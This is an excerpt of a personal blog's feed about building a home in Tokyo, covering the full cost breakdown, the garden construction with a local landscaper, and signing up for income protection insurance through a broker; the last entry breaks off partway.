   <content type="html">&lt;p&gt;We recently &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;bought land&lt;/a&gt; and &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;built our home in Tokyo&lt;/a&gt;. I have wrote about the various costs, but in this post I’ll provide the full breakdown on how much our home cost.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;The overall cost was 110 million yen (１億１千万). The land (and related expenses) were 69 million and the house (and related expenses) cost 41 million yen. We covered 109 million yen from the mortgage and only paid out-of-pocket the remaining 1 million yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-28-cost-of-our-house/breakdown.png#lb&quot; alt=&quot;Breakdown of the major costs of our home&quot; /&gt;&lt;/p&gt;

&lt;!--
Made with: https://sankeymatic.com/build/
Width: 1200
Height: 600

Source:
Land Mortgage [68500000] Mortgage
House Mortgage [40800000] Mortgage

Mortgage [109300000] Overall
Self paid [958384] Overall

Overall [68682112] Land
Overall [41576272] House

Land [64300000] Price of the land
Land [2000000] Real estate agency fee
Land [1507000] Loan fee (2.2%)
Land [748500] Registration &amp; taxes
Land [126612] Property tax (1st year)

House [35605326] Building (Ichijo)
House [2684000] Garden
House [1223035] Water pipe connection
House [897600] Loan fee (2.2%)
House [290000] Registration &amp; taxes
House [243274] Bridge loan
House [175633] Insurance (5y)
House [174000] Curtains
House [154300] Design applications
House [129103] Wifi
--&gt;

&lt;p&gt;The price of the land alone (64.3 million) and the house construction (35.6 million) add up to 100 million yen, while all the remaining costs added another 10%. Luckily many banks in Japan let you include these costs in the mortgage, which helped us keep the out-of-pocket expenses to the minimum.&lt;/p&gt;

&lt;h2 id=&quot;land-portion&quot;&gt;Land portion&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;covered this in detail in an earlier post&lt;/a&gt;: the land was 64.3 million yen and we paid another 4.4 million in fees (2 million to the real estate agent, 1.5 million as the loan guarantor fee).&lt;/p&gt;

&lt;h2 id=&quot;house-portion&quot;&gt;House portion&lt;/h2&gt;

&lt;p&gt;The house was overall 41.6 million yen. I covered most of these in earlier post:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
      &lt;th&gt;Earlier post with details&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Building the house (Ichijo)&lt;/td&gt;
      &lt;td&gt;¥35,605,327&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;The cost of our Ichijo house&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Garden and exterior construction&lt;/td&gt;
      &lt;td&gt;¥2,684,000&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2026/01/27/the-garden/&quot;&gt;The garden of our new house&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Connecting the land to the water pipe&lt;/td&gt;
      &lt;td&gt;¥1,223,035&lt;/td&gt;
      &lt;td&gt;Our land didn’t have a connection to the water works’ pipe, so we had to get it done. (Usually when the land had an old house this won’t be necessary.)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Loan guarantor fee&lt;/td&gt;
      &lt;td&gt;¥897,600&lt;/td&gt;
      &lt;td&gt;2.2% of the mortgage amount, same as for the land. We could have chosen a higher interest rate instead of this fee, but on the long-term this option is better.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Property registration and scrivener fees&lt;/td&gt;
      &lt;td&gt;¥290,000&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2026/01/11/house-misc-expenses/&quot;&gt;Miscellaneous expenses while building our home in Tokyo&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Bridge loan interest&lt;/td&gt;
      &lt;td&gt;¥243,274&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2025/10/05/bridge-loan/&quot;&gt;Timing of the payments for the house, and the bridge loan (つなぎ融資)&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Home insurance for 5 years&lt;/td&gt;
      &lt;td&gt;¥175,633&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2025/10/22/home-insurance/&quot;&gt;Home insurance in Japan&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Curtains&lt;/td&gt;
      &lt;td&gt;¥174,000&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2025/12/28/curtains/&quot;&gt;Curtains for our new house&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Design application and filing services&lt;/td&gt;
      &lt;td&gt;¥154,300&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2026/01/11/house-misc-expenses/&quot;&gt;Miscellaneous expenses while building our home in Tokyo&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Wifi and home network setup&lt;/td&gt;
      &lt;td&gt;¥129,103&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;/2025/11/15/home-network/&quot;&gt;Home network setup for our new house&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Overall&lt;/td&gt;
      &lt;td&gt;¥41,576,272&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;What is on this list is a bit subjective. Some people might skip things (e.g. wifi, curtains), and there were other costs (e.g. moving, new furniture) that could be included as well.&lt;/p&gt;

&lt;h2 id=&quot;subsidies&quot;&gt;Subsidies&lt;/h2&gt;

&lt;p&gt;A major category that I intentionally skipped here are the subsidies for energy efficient housing and solar panels. These depend on the location, and also on the exact year a house is built, so I think leaving them out makes this post more useful. Moreover they are only paid out 6-12 months after the house is completed, so they don’t help with the immediate cashflow. I will cover them in a separate post.&lt;/p&gt;

&lt;h2 id=&quot;necessary-cash-at-hand&quot;&gt;Necessary cash at hand&lt;/h2&gt;

&lt;p&gt;So the out-of-pocket expense was less than 1 million yen. Does it mean I can get a house if I have only 1 million yen in my bank account? Not really, as there were costs that I had to pay first and then got the money back from the mortgage. Overall I needed around 5 million yen to go through the whole process. The major expenses were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2024 January: signing the pre-contract with Ichijo and paying a 1 million yen deposit (refundable)&lt;/li&gt;
  &lt;li&gt;2024 March: made an offer on a land and had to pay 3 million yen deposit&lt;/li&gt;
  &lt;li&gt;2024 May: closed on the land and got the 3 million yen back from the mortgage&lt;/li&gt;
  &lt;li&gt;2025 June: 1.2 million yen for the water pipe connection work&lt;/li&gt;
  &lt;li&gt;2025 July: 1.3 million yen for the first half of the garden construction&lt;/li&gt;
  &lt;li&gt;2025 November: finalized the mortgage for the house and got 3.2 million yen extra (for the garden and the water pipe connection work)&lt;/li&gt;
  &lt;li&gt;2025 December: got a bit of the 1 million yen deposit back from Ichijo - most of it was  spent on the misc expenses (bridge loan, registration fees, application fees)&lt;/li&gt;
  &lt;li&gt;2026 January: 1.3 million yen for the rest of the garden construction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to this, I also had to pay for the mortgage on the land. My bank let me pay only the interest for the first 12 months. It added up to 133,274 yen in 2024 (since only the interest) and 1.2 million yen until moving-in in November 2025 (I had to start paying the principal too from May). I’m using the moving date as the cut off, since until then one has to pay rent and these costs at the same time.&lt;/p&gt;

&lt;p&gt;Without the water pipe connection work, with a cheaper garden, a lower land deposit, and a faster timeline (so less mortgage) I think one can push down the necessary cash to around 3 million yen. But don’t forget to also account for the moving costs and buying some new furniture, so I wouldn’t cut it too close.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The garden of our new house</title>
   <link href="https://szabo.jp/2026/01/27/the-garden/"/>
   <updated>2026-01-27T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/27/the-garden</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;recently built our home in Tokyo with Ichijo&lt;/a&gt;. One thing that surprised me was that the house maker companies only build the house itself, and leave the outside construction to another company. This was the case with Ichijo too, so we had to arrange the garden with another company.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;our-idea&quot;&gt;Our idea&lt;/h2&gt;

&lt;p&gt;Similar to most of Tokyo, our land is pretty small, so doesn’t leave that much space for a garden. We also wanted to have a few things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;car parking for &lt;a href=&quot;/2025/08/14/timeline-of-getting-a-car/&quot;&gt;our minivan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2025/06/21/cycle-port-rules/&quot;&gt;a cycleport (roof for our bikes)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;a mailbox with locker for parcels (宅配ボクス)&lt;/li&gt;
  &lt;li&gt;some tree or other greenery, if possible&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-27-the-garden/front.jpg#lb&quot; alt=&quot;The way AI imagined the front of our house&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I thought this was a pretty basic idea. Later we learned that the “basic idea” is to have concrete in the front, gravel in the back, and call it a day.&lt;/p&gt;

&lt;h2 id=&quot;ichijos-introduction&quot;&gt;Ichijo’s introduction&lt;/h2&gt;

&lt;p&gt;Ichijo told us that they will introduce their partner company that can handle the exterior construction work. I believe the usual flow is that they will finalize the house fully before connecting you with the garden company, but we asked to meet with them earlier as we wanted to add some external lights on the house and the placement of those would depend on the outside design.&lt;/p&gt;

&lt;p&gt;I got the feeling that this company was really good at handling the simple requests (pour concrete in the front, add gravel in the back, install the interphone and mailbox near the entrance), but they weren’t well equipped to do design work with us, give us advice, or suggest alternatives. (Or maybe we just got unlucky with our contact person.)&lt;/p&gt;

&lt;p&gt;Their first plan was already around 2 million yen, and once we asked for the additional things it quickly jumped to near 3 million yen. Also the &lt;a href=&quot;/2025/06/21/cycle-port-rules/&quot;&gt;topic of Musashino City being strict about garden structures&lt;/a&gt; came up and they essentially told us that no cycle port can fit the rules, so we either shouldn’t get one, or just risk getting caught. After I looked up the rules online and sent them by email, they finally sent us a design that included a cycleport (even though it was one with 4 legs instead of 2 that we requested). Overall our experience wasn’t good, so we decided to find another company.&lt;/p&gt;

&lt;p&gt;On the other hand we have two friends who built with Ichijo, and they both went with the Ichijo-introduced company, and they were fine. So we might have gotten a bad sales person, or simply we had too many unfinished ideas that just needed a different style company.&lt;/p&gt;

&lt;h2 id=&quot;the-local-company-palgreen&quot;&gt;The local company: Palgreen&lt;/h2&gt;

&lt;p&gt;My wife found a local landscaping company, &lt;a href=&quot;https://www.palgreen.info/&quot;&gt;Palgreen&lt;/a&gt;. We had our first meeting, and we were very pleasantly surprised: we got to talk with someone who was really working with us. He was listening, but also challenging our ideas and giving alternatives. I had the idea to have interlocking tiles, because I thought that it is easier to repair and if we want to adjust the amount of greenery it makes it possible. He told us that usually you still need concrete under the tiles otherwise they will sink (especially where the car goes), so we ended up choosing simple concrete.&lt;/p&gt;

&lt;p&gt;He also had really good ideas about lighting, e.g. we added some floating lights at the stairs.&lt;/p&gt;

&lt;p&gt;We also have a small corner that the other company planned to just pour gravel over, but he insisted on not wasting that and adding either a wooden deck, grass, or artificial grass. We had a good discussion on the pros and cons of real vs artificial grass, and decided to go with the latter.&lt;/p&gt;

&lt;p&gt;He prepared graphics of how it will look like, and he really took the time to find the place for everything. Overall we met with him 3 times, each time taking a couple of hours.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;We met with Palgreen in January 2025 first (so 1.5 months before the house design was finalized), then once more in February, and once again in June.&lt;/p&gt;

&lt;p&gt;We signed the contract in June 2025, after the house construction started.&lt;/p&gt;

&lt;p&gt;They could only start the work after the house was completed and handed over, which happened at the end of October. Since the house is ready at this point, some people move in before the garden construction completes, but we thought that both the moving and the daily life would be a bit difficult with all the construction in front of the house, so we decided to only move in after they finished the garden.&lt;/p&gt;

&lt;p&gt;However in the end the construction got delayed and we ended up moving in when the outside was not fully finished. Overall this wasn’t that big of a deal: we had one or two days when we had to walk on a small bridge while the concrete was solidifying, and we couldn’t park the car at the house (but they paid for the nearby coin parking).&lt;/p&gt;

&lt;p&gt;They said that the delay was due to bad weather causing a delay on their previous work, which meant they couldn’t start ours on time. I guess this is the downside of a smaller company: the bad weather was a few days of rain in October (which is not exactly unexpected), but if they only have 1 or 2 people that can do a given task, then I can see how they didn’t have the people to start our construction on time.&lt;/p&gt;

&lt;p&gt;There was also a bit of communication issue here: the designer and construction manager were different people, but neither of them reached out to us about the delay. We asked after a week or so when there was no work being done, and then they told us about the delay, but this is something they could improve.&lt;/p&gt;

&lt;h2 id=&quot;cost&quot;&gt;Cost&lt;/h2&gt;

&lt;p&gt;In the end the price was 2,684,000 yen, but considering all the additional things we added (lights, artificial grass, multiple plants), I think we got a good deal. We paid half of it after signing the contract, and half after the garden was done. The bank let us include this in the mortgage too.&lt;/p&gt;

&lt;p&gt;Here is the breakdown of the costs:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Japanese&lt;/th&gt;
      &lt;th&gt;English&lt;/th&gt;
      &lt;th&gt;Amount&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;仮設工事&lt;/td&gt;
      &lt;td&gt;Temporary works&lt;/td&gt;
      &lt;td&gt;¥96,800&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;土工事・解体工事&lt;/td&gt;
      &lt;td&gt;Earthworks &amp;amp; demolition&lt;/td&gt;
      &lt;td&gt;¥312,543&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;組積工事&lt;/td&gt;
      &lt;td&gt;Masonry works&lt;/td&gt;
      &lt;td&gt;¥201,344&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;舗装工事&lt;/td&gt;
      &lt;td&gt;Paving works&lt;/td&gt;
      &lt;td&gt;¥768,108&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;金物工事&lt;/td&gt;
      &lt;td&gt;Metal works&lt;/td&gt;
      &lt;td&gt;¥642,631&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;タイル石貼り工事&lt;/td&gt;
      &lt;td&gt;Tile &amp;amp; stone installation&lt;/td&gt;
      &lt;td&gt;¥152,218&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;電気工事&lt;/td&gt;
      &lt;td&gt;Electrical works&lt;/td&gt;
      &lt;td&gt;¥244,723&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;植栽工事&lt;/td&gt;
      &lt;td&gt;Landscaping / planting works&lt;/td&gt;
      &lt;td&gt;¥273,339&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;端数調整&lt;/td&gt;
      &lt;td&gt;Rounding adjustment&lt;/td&gt;
      &lt;td&gt;-¥7,706&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;合計&lt;/td&gt;
      &lt;td&gt;Overall&lt;/td&gt;
      &lt;td&gt;¥2,684,000&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We also got a fully itemized list of things that they used during the construction.&lt;/p&gt;

&lt;h2 id=&quot;design-ideas&quot;&gt;Design ideas&lt;/h2&gt;

&lt;p&gt;Overall I think our setup is pretty simple. Still, here are some things we did that I would recommend to others.&lt;/p&gt;

&lt;h3 id=&quot;mailbox-with-locker-for-parcels-宅配ボクス&quot;&gt;Mailbox with locker for parcels (宅配ボクス)&lt;/h3&gt;

&lt;p&gt;These are very common in Japan. Next to your regular mailbox, you also get a box for parcels: it can be locked without the key (by the delivery person) but you need a key to open it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-27-the-garden/takuhai.jpg#lb&quot; alt=&quot;A common setup: nameplate, interphone, mailbox, parcel box&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our original design had the same model included, but I decided to change it in the end. So my problem with the original setup was that the mailbox and the parcel box would open with separate keys. So when I’m coming home, I have to get two keys out, and unlock to locks. After sharing this concern with Palgreen, they suggested a new model from Panasonic: &lt;a href=&quot;https://sumai.panasonic.jp/exterior/takuhai/combo/combo_multi.html&quot;&gt;Combo Multi (ポスト一体型宅配ボックス コンボマルチ)&lt;/a&gt;. This solves the problem by using a pin to unlock (instead of a key) and having a single door on the back for both the postbox and the parcel box. It even has a version that has two sections for parcels, but you can also have a single, bigger section.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-27-the-garden/combo_multi.jpeg#lb&quot; alt=&quot;Combo Multi: letters and packages can be delivered from the front, and removed from the back&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This was a 2025 model, so it was a bit more expensive than the original one, but after using it for a few months, I can confidently say that it was totally worth it. It takes me only a few seconds to check if we got mail or parcel, and it also looks better. (I really like the sleek design.)&lt;/p&gt;

&lt;h3 id=&quot;stroller-friendly-stairs&quot;&gt;Stroller-friendly stairs&lt;/h3&gt;

&lt;p&gt;The entrance of most houses are higher than ground level, so there are usually a few steps. Combine this with a usually small genkan, and using a stroller/baby-car becomes difficult. So instead of simple stairs, we got long steps where the stroller can take one step at a time. Something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-01-27-the-garden/stairs.jpg#lb&quot; alt=&quot;Stroller-friendly stairs at the entrance&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;plan-for-bicycles&quot;&gt;Plan for bicycles&lt;/h3&gt;

&lt;p&gt;I’m a firm believer that bicycles are the best way to get around in any big city, and this is double true for kids that can’t yet drive. You might not go as far as we did with the cycle port, but at least have some plan on where the bikes will be parked. I have seen some houses where the bikes were parked around the car, and that looks pretty inconvenient for users of both the car and the bikes.&lt;/p&gt;

&lt;h3 id=&quot;use-all-available-space&quot;&gt;Use all available space&lt;/h3&gt;

&lt;p&gt;Gardens in Tokyo are small, which is made even worse by garden companies that are keen on covering most of it with gravel. If possible, consider building a wood deck or have some (artificial) grass instead. We got some artificial grass next to our house, and it gives the kids one more place to play.&lt;/p&gt;

&lt;p&gt;We were considering artificial grass vs real grass, as the latter is cheaper to make, but decided with the former to reduce the ongoing work: I really don’t feel like watering and mowing a lawn that’s smaller than our living room.&lt;/p&gt;

&lt;h2 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h2&gt;

&lt;p&gt;Overall I’m really happy that we went with Palgreen for the garden construction. Their support in designing the garden was super helpful and their ideas proving to be very useful. They did run into a few weeks delay and didn’t communicate it well, but otherwise no complaints. I would recommend them to anyone, so &lt;a href=&quot;https://www.palgreen.info/%E8%A4%87%E8%A3%BD-%E6%9D%A5%E5%BA%97%E7%9B%B8%E8%AB%87%E4%BA%88%E7%B4%84&quot;&gt;drop them a message&lt;/a&gt; if you are looking for a company like this.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Choosing my life insurance - part 2</title>
   <link href="https://szabo.jp/2026/01/20/choosing-my-life-insurance-part2/"/>
   <updated>2026-01-20T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/20/choosing-my-life-insurance-part2</id>
   <content type="html">&lt;p&gt;I recently decided to get life insurance (収入保障保険), but &lt;a href=&quot;/2026/01/09/choosing-my-life-insurance-part1/&quot;&gt;I couldn’t complete the sign-up online&lt;/a&gt;. This is the second part of this story, so I recommend reading &lt;a href=&quot;/2026/01/09/choosing-my-life-insurance-part1/&quot;&gt;part 1&lt;/a&gt; first.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;my-options&quot;&gt;My options&lt;/h2&gt;

&lt;p&gt;So after I couldn’t complete the online sign up (due to getting a grade B on my yearly health check), I was left with 3 options:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Call the insurance company to explain the health check results&lt;/li&gt;
  &lt;li&gt;Go with a different insurance company (that’s more expensive and might result in the same situation once they review my health check results)&lt;/li&gt;
  &lt;li&gt;Use an insurance broker to sign up for the insurance&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I decided to go with option 3.&lt;/p&gt;

&lt;h2 id=&quot;choosing-the-insurance-broker&quot;&gt;Choosing the insurance broker&lt;/h2&gt;

&lt;p&gt;It seems most life insurance in Japan is sold through brokers, and usually one broker has contract with many insurance companies. So next I searched for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insurance agency&lt;/code&gt; on Google Maps around where I live. Two options came up (&lt;a href=&quot;https://maps.app.goo.gl/LWMPD7tJ2hAYDEZr8&quot;&gt;保険見直し本舗&lt;/a&gt;, &lt;a href=&quot;https://maps.app.goo.gl/se4S9JnQ63xwosGV9&quot;&gt;ほけんの窓口&lt;/a&gt;), and I was very surprised that they had 4.5 and 4.9 star ratings on Google Maps.&lt;/p&gt;

&lt;p&gt;I have never seen this type of rating in Japan, unless it’s a place for tourists (and life insurance is definitely not for tourists). Upon looking at the comments, the people seemed to be genuinely happy with the service (so it wasn’t just a bunch of empty 5 star reviews that could be bots, there were seemingly real comments on how great the service was). Still I had my doubts: insurance salespeople have a reputation for a reason.&lt;/p&gt;

&lt;p&gt;I decided to go with ほけんの窓口 for the two simple reasons that they were slightly closer, and that I was familiar with their name (I saw their shop elsewhere). So I made a reservation online for the 10am slot on Monday.&lt;/p&gt;

&lt;h2 id=&quot;preparing-for-the-meeting&quot;&gt;Preparing for the meeting&lt;/h2&gt;

&lt;p&gt;My Japanese is only around N3 (and even there I would probably fail on the grammar part), so I was worried about how the meeting would go, especially if they would try to up-sell me some high-fee life-insurance-mixed-with-investment type deal.&lt;/p&gt;

&lt;p&gt;So when making the reservation I wrote this in the comment field (thanks to ChatGPT for writing it for me):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;収入保障保険について相談・申込みを希望しています。&lt;/p&gt;

  &lt;p&gt;健康診断の心電図でB判定があり、オンライン申込みでは手続きが途中で進められなくなったため、来店での相談を希望しました。
当日は健康診断結果を持参します。&lt;/p&gt;

  &lt;p&gt;希望条件は、60歳まで・月額30万円程度の保障です。
今回は収入保障保険のみ検討しており、ライフプラン作成や他の商品提案は不要です。&lt;/p&gt;

  &lt;p&gt;日本語の会話は専門的な内容だと少し不安がありますが、スマートフォンで翻訳しながら対応可能です。
数字や保障内容、スケジュールなどを画面や紙で見せていただければ理解できると思います。&lt;/p&gt;

  &lt;p&gt;事前に自分なりに調べており、収入保障保険の仕組みについては基本的な理解はあります。
よろしくお願いいたします。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In English this means:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I would like to consult and apply for income protection insurance.&lt;/p&gt;

  &lt;p&gt;I received a B result on my electrocardiogram during my health checkup, and was unable to proceed with the online application, so I requested an in-person consultation. I will bring my health checkup results with me on the day.&lt;/p&gt;

  &lt;p&gt;My desired coverage is approximately 300,000 yen per month until age 60.&lt;/p&gt;

  &lt;p&gt;This time, I am only considering income protection insurance, and do not need a life plan or other product suggestions.&lt;/p&gt;

  &lt;p&gt;I am a little worried about speaking Japanese due to the technical content, but I can use my smartphone to translate. I think I would be able to understand if you could show me the numbers, coverage details, schedule, etc. on a screen or on paper.&lt;/p&gt;

  &lt;p&gt;I did my own research in advance, and have a basic understanding of how income protection insurance works.
Thank you in advance.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then I prepared additional documents, as it is often easier to show something than to describe it (and it also leaves less room for misunderstandings/errors). I know that more privacy-conscious people would despise this approach (as it gives the insurance agent information they don’t strictly need), but I’m more relaxed about this (and I took all the documents back in the end). So I brought the following documents with me:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;health check result&lt;/li&gt;
  &lt;li&gt;the online quote and option selection (just printed the website) - for reference on the options and price&lt;/li&gt;
  &lt;li&gt;my business card - I expected them to ask for my employer and work title&lt;/li&gt;
  &lt;li&gt;last year’s salary (the one I got from my company at the end of the year) - I expected them to ask for my yearly salary (the online application also did)&lt;/li&gt;
  &lt;li&gt;residence registry (住民票, without MyNumber and 本籍) - this had unnecessary details, but I had to provide information on my wife (name, address, DoB) as she is the beneficiary, and I expected that they might ask about my kids too (though they didn’t)&lt;/li&gt;
  &lt;li&gt;copy of my employer’s life insurance - in case they ask about other life insurance I have. It came up, but only in the context of “are you cancelling another plan to get this new one?” - somehow that would have been an issue, but getting additional coverage is apparently fine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also prepared a list of vocabulary, but only really used 収入保障保険 from that. Still it was nice to have it printed just in case.&lt;/p&gt;

&lt;p&gt;One point I failed to prepare for was any hospital visit from the last few years. I only have been to the dentist (fixing some cavity) and got a mole removed by the dermatologist, so I could explain them easily, but next time I will prepare better. Btw he said that these are not issues that need to be reported to the insurance company, they only care about major medical procedures.&lt;/p&gt;

&lt;h2 id=&quot;the-meeting&quot;&gt;The meeting&lt;/h2&gt;

&lt;p&gt;It took 1.5 hours and by the end I successfully signed up for the insurance I wanted.&lt;/p&gt;

&lt;p&gt;Turns out the reviews were correct: the guy was indeed really nice and did not try to up-sell anything at all. Once he saw that I had the FWD Life quote printed, he said “yeah, he would recommend that as well” and quickly switched into explaining the details. Not trying to recommend another company or another product, simply doing what I asked for.&lt;/p&gt;

&lt;p&gt;We went through all the details of the insurance and the options. I have researched this ahead of time, so it was easy to follow. At each option he stopped to confirm my choice, but did not push or ask for me to reason about my decisions.&lt;/p&gt;

&lt;p&gt;Overall it felt similar to real estate agents explaining the contract, or the bank employee explaining the mortgage details: they have a strong legal requirement to explain every single part of it, so they do their best to do so. The guy was also good at using simpler Japanese and giving examples (e.g. when the topic of insurance coverage in case of permanent disability came up, he was saying “for example if you can’t hear or speak, or if you loose a leg, then this will start paying even if you are still alive”).&lt;/p&gt;

&lt;p&gt;At some point I wanted to use Google Translate to translate part of the contract that he was showing on the screen. He said it’s not okay to take photos of the screen, but he printed it for me already, so I can translate the printed version.&lt;/p&gt;

&lt;p&gt;He did briefly talk about his company, ほけんの窓口, but only for a few  minutes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;they have contract with multiple insurance companies (he showed me the list)&lt;/li&gt;
  &lt;li&gt;this includes life and non-life insurance, like home or car insurance&lt;/li&gt;
  &lt;li&gt;they are happy to review existing insurance and give advice&lt;/li&gt;
  &lt;li&gt;contracts made through them will be the same price as if made directly with the insurance company (I found this hard to believe, but indeed the contract was the same price that I got on the insurance company’s website)&lt;/li&gt;
  &lt;li&gt;they work in a franchise setting, so visiting another branch will not have visibility into the data I shared with them (hinting at that I should come back to this exact location)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I expected some push on car and home insurance (like “do you have a car? how is your current insurance?”) but no, he just mentioned that if I need help, let him know.&lt;/p&gt;

&lt;p&gt;There was one minor hick-up: when going through the sign-up form there was a question &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;本籍は日本ですか?&lt;/code&gt;. To this the guy wanted to say yes, but I showed him the 住民票 that says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ハンガリー&lt;/code&gt;. He was surprised and told me that he though since I have a Japanese driving license and live here, this should be yes. So he called the insurance company, and they told him to pick no. He then asked them if there was any additional document required (like 在留カード) but the insurance company said no, nothing extra is required.&lt;/p&gt;

&lt;p&gt;I chose to pay by card, so the sign-up flow showed a QR code that I could scan with my phone (apparently this time it was okay to scan the screen) and then register my credit card on my phone. I did appreciate this, as in the past I had to write down my credit card details on a paper form, and this was a much more secure solution.&lt;/p&gt;

&lt;p&gt;There were two exceptions mentioned specifically: the insurance doesn’t pay for suicide in the first 3 years (I’m actually surprised it pays for suicide at all, I though it’s excluded entirely), and it also doesn’t pay if my wife (the beneficiary) kills me.&lt;/p&gt;

&lt;p&gt;I asked about cancelling the insurance early, and he said that it’s possible without a fee (but there is no refund, as expected). However there is a rule that cancelling and then signing up for a similar plan with another company (especially if the first one was held for less than 3 years) can be problematic. I didn’t fully get the reason behind this, but it’s not like I plan to do this anyway.&lt;/p&gt;

&lt;p&gt;I also asked about increasing the coverage: if inflation would to be higher than expected, I might want to get higher coverage 10 years from now. He said that in principal the existing contract can’t be changed, so usually it is recommended to take out a new insurance for the difference (e.g. if you want to increase coverage by 100,000 yen, then get a new insurance for that much and keep the old one as well). This works better than cancelling the old one and taking out a new, as usually starting the insurance when you are young results in lower fees.&lt;/p&gt;

&lt;h2 id=&quot;next&quot;&gt;Next&lt;/h2&gt;

